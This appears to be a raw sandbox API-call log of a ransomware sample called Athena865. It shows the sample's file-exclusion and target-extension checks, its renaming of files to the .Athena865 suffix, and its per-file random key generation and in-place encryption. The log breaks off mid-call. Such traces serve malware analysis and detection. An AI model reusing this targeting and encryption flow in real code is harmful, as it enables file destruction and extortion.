[0109.979] lstrlenW (lpString="vdi") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0109.979] lstrlenW (lpString="vhd") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0109.979] lstrlenW (lpString="vhdx") returned 4 [0109.979] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0109.979] lstrlenW (lpString="avhd") returned 4 [0109.979] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0109.979] lstrlenW (lpString="db") returned 2 [0109.979] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0109.979] lstrlenW (lpString="db2") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0109.979] lstrlenW (lpString="db3") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0109.979] lstrlenW (lpString="dbf") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0109.979] lstrlenW (lpString="mdf") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0109.979] lstrlenW (lpString="mdb") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0109.979] lstrlenW (lpString="sql") returned 3 [0109.979] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0109.979] lstrlenW (lpString="sqlite") returned 6 [0109.979] lstrcmpiW (lpString1="ht.xml", lpString2="sqlite") returned -1 [0109.979] lstrlenW (lpString="sqlite3") returned 7 [0109.979] lstrcmpiW (lpString1="cht.xml", lpString2="sqlite3") returned -1 [0109.979] lstrlenW (lpString="sqlitedb") returned 8 [0109.979] lstrcmpiW (lpString1="scht.xml", lpString2="sqlitedb") returned -1 [0109.980] lstrlenW (lpString="xml") returned 3 [0109.980] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0109.980] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.Athena865") returned 71 [0109.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.athena865"), dwFlags=0x1) returned 1 [0109.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.982] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2436) returned 1 [0109.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.985] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.985] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.985] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc90, lpName=0x0) returned 0x17c [0109.988] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc90) returned 0x100000 [0109.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.993] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.993] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.994] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0109.994] CloseHandle (hObject=0x17c) returned 1 [0109.994] CloseHandle (hObject=0x154) returned 1 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="..") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="windows") returned -1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootmgr") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="temp") returned -1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="pagefile.sys") returned -1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="boot") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ids.txt") returned 1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ntuser.dat") returned -1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="perflogs") returned -1 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2="MSBuild") returned -1 [0109.995] lstrlenW (lpString="ipscsy.xml") returned 10 [0109.995] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipscsy.xml" | out: lpString1="ipscsy.xml") returned="ipscsy.xml" [0109.995] lstrlenW (lpString="ipscsy.xml") returned 10 [0109.995] lstrlenW (lpString="Athena865") returned 9 [0109.995] lstrcmpiW (lpString1="pscsy.xml", lpString2="Athena865") returned 1 [0109.995] lstrlenW (lpString=".dll") returned 4 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".dll") returned 1 [0109.995] lstrlenW (lpString=".lnk") returned 4 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".lnk") returned 1 [0109.995] lstrlenW (lpString=".ini") returned 4 [0109.995] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".ini") returned 1 [0109.996] lstrlenW (lpString=".sys") returned 4 [0109.996] lstrcmpiW (lpString1="ipscsy.xml", lpString2=".sys") returned 1 [0109.996] lstrlenW (lpString="ipscsy.xml") returned 10 [0109.996] lstrlenW (lpString="bak") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0109.996] lstrlenW (lpString="ba_") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0109.996] lstrlenW (lpString="dbb") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0109.996] lstrlenW (lpString="vmdk") returned 4 [0109.996] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0109.996] lstrlenW (lpString="rar") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0109.996] lstrlenW (lpString="zip") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0109.996] lstrlenW (lpString="tgz") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0109.996] lstrlenW (lpString="vbox") returned 4 [0109.996] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0109.996] lstrlenW (lpString="vdi") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0109.996] lstrlenW (lpString="vhd") returned 3 [0109.996] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0109.996] lstrlenW (lpString="vhdx") returned 4 [0109.996] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0109.996] lstrlenW (lpString="avhd") returned 4 [0109.996] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0109.996] lstrlenW (lpString="db") returned 2 [0109.996] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0109.997] lstrlenW (lpString="db2") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0109.997] lstrlenW (lpString="db3") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0109.997] lstrlenW (lpString="dbf") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0109.997] lstrlenW (lpString="mdf") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0109.997] lstrlenW (lpString="mdb") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0109.997] lstrlenW (lpString="sql") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0109.997] lstrlenW (lpString="sqlite") returned 6 [0109.997] lstrcmpiW (lpString1="sy.xml", lpString2="sqlite") returned 1 [0109.997] lstrlenW (lpString="sqlite3") returned 7 [0109.997] lstrcmpiW (lpString1="csy.xml", lpString2="sqlite3") returned -1 [0109.997] lstrlenW (lpString="sqlitedb") returned 8 [0109.997] lstrcmpiW (lpString1="scsy.xml", lpString2="sqlitedb") returned -1 [0109.997] lstrlenW (lpString="xml") returned 3 [0109.997] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0109.997] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.Athena865") returned 71 [0109.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.athena865"), dwFlags=0x1) returned 1 [0109.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.999] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2556) returned 1 [0109.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.999] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.000] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.000] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.000] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0110.002] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0110.005] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.005] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.005] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.006] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.006] CloseHandle (hObject=0x17c) returned 1 [0110.006] CloseHandle (hObject=0x154) returned 1 [0110.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.007] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="..") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="windows") returned -1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootmgr") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="temp") returned -1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="pagefile.sys") returned -1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="boot") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ids.txt") returned 1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ntuser.dat") returned -1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="perflogs") returned -1 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2="MSBuild") returned -1 [0110.007] lstrlenW (lpString="ipsdan.xml") returned 10 [0110.007] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsdan.xml" | out: lpString1="ipsdan.xml") returned="ipsdan.xml" [0110.007] lstrlenW (lpString="ipsdan.xml") returned 10 [0110.007] lstrlenW (lpString="Athena865") returned 9 [0110.007] lstrcmpiW (lpString1="psdan.xml", lpString2="Athena865") returned 1 [0110.007] lstrlenW (lpString=".dll") returned 4 [0110.007] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".dll") returned 1 [0110.007] lstrlenW (lpString=".lnk") returned 4 [0110.008] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".lnk") returned 1 [0110.008] lstrlenW (lpString=".ini") returned 4 [0110.008] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".ini") returned 1 [0110.008] lstrlenW (lpString=".sys") returned 4 [0110.008] lstrcmpiW (lpString1="ipsdan.xml", lpString2=".sys") returned 1 [0110.008] lstrlenW (lpString="ipsdan.xml") returned 10 [0110.008] lstrlenW (lpString="bak") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.008] lstrlenW (lpString="ba_") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.008] lstrlenW (lpString="dbb") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.008] lstrlenW (lpString="vmdk") returned 4 [0110.008] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.008] lstrlenW (lpString="rar") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.008] lstrlenW (lpString="zip") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.008] lstrlenW (lpString="tgz") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.008] lstrlenW (lpString="vbox") returned 4 [0110.008] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.008] lstrlenW (lpString="vdi") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.008] lstrlenW (lpString="vhd") returned 3 [0110.008] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.008] lstrlenW (lpString="vhdx") returned 4 [0110.008] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.008] lstrlenW (lpString="avhd") returned 4 [0110.009] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.009] lstrlenW (lpString="db") returned 2 [0110.009] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.009] lstrlenW (lpString="db2") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.009] lstrlenW (lpString="db3") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.009] lstrlenW (lpString="dbf") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.009] lstrlenW (lpString="mdf") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.009] lstrlenW (lpString="mdb") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.009] lstrlenW (lpString="sql") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.009] lstrlenW (lpString="sqlite") returned 6 [0110.009] lstrcmpiW (lpString1="an.xml", lpString2="sqlite") returned -1 [0110.009] lstrlenW (lpString="sqlite3") returned 7 [0110.009] lstrcmpiW (lpString1="dan.xml", lpString2="sqlite3") returned -1 [0110.009] lstrlenW (lpString="sqlitedb") returned 8 [0110.009] lstrcmpiW (lpString1="sdan.xml", lpString2="sqlitedb") returned -1 [0110.009] lstrlenW (lpString="xml") returned 3 [0110.009] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.Athena865") returned 71 [0110.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.athena865"), dwFlags=0x1) returned 1 [0110.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.011] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2514) returned 1 [0110.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.012] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.012] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.012] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x17c [0110.013] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0110.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.015] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.015] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.016] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.016] CloseHandle (hObject=0x17c) returned 1 [0110.016] CloseHandle (hObject=0x154) returned 1 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.016] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="..") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="windows") returned -1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootmgr") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="temp") returned -1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="pagefile.sys") returned -1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="boot") returned 1 [0110.016] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ids.txt") returned 1 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ntuser.dat") returned -1 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="perflogs") returned -1 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="MSBuild") returned -1 [0110.017] lstrlenW (lpString="ipsdeu.xml") returned 10 [0110.017] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsdeu.xml" | out: lpString1="ipsdeu.xml") returned="ipsdeu.xml" [0110.017] lstrlenW (lpString="ipsdeu.xml") returned 10 [0110.017] lstrlenW (lpString="Athena865") returned 9 [0110.017] lstrcmpiW (lpString1="psdeu.xml", lpString2="Athena865") returned 1 [0110.017] lstrlenW (lpString=".dll") returned 4 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".dll") returned 1 [0110.017] lstrlenW (lpString=".lnk") returned 4 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".lnk") returned 1 [0110.017] lstrlenW (lpString=".ini") returned 4 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".ini") returned 1 [0110.017] lstrlenW (lpString=".sys") returned 4 [0110.017] lstrcmpiW (lpString1="ipsdeu.xml", lpString2=".sys") returned 1 [0110.017] lstrlenW 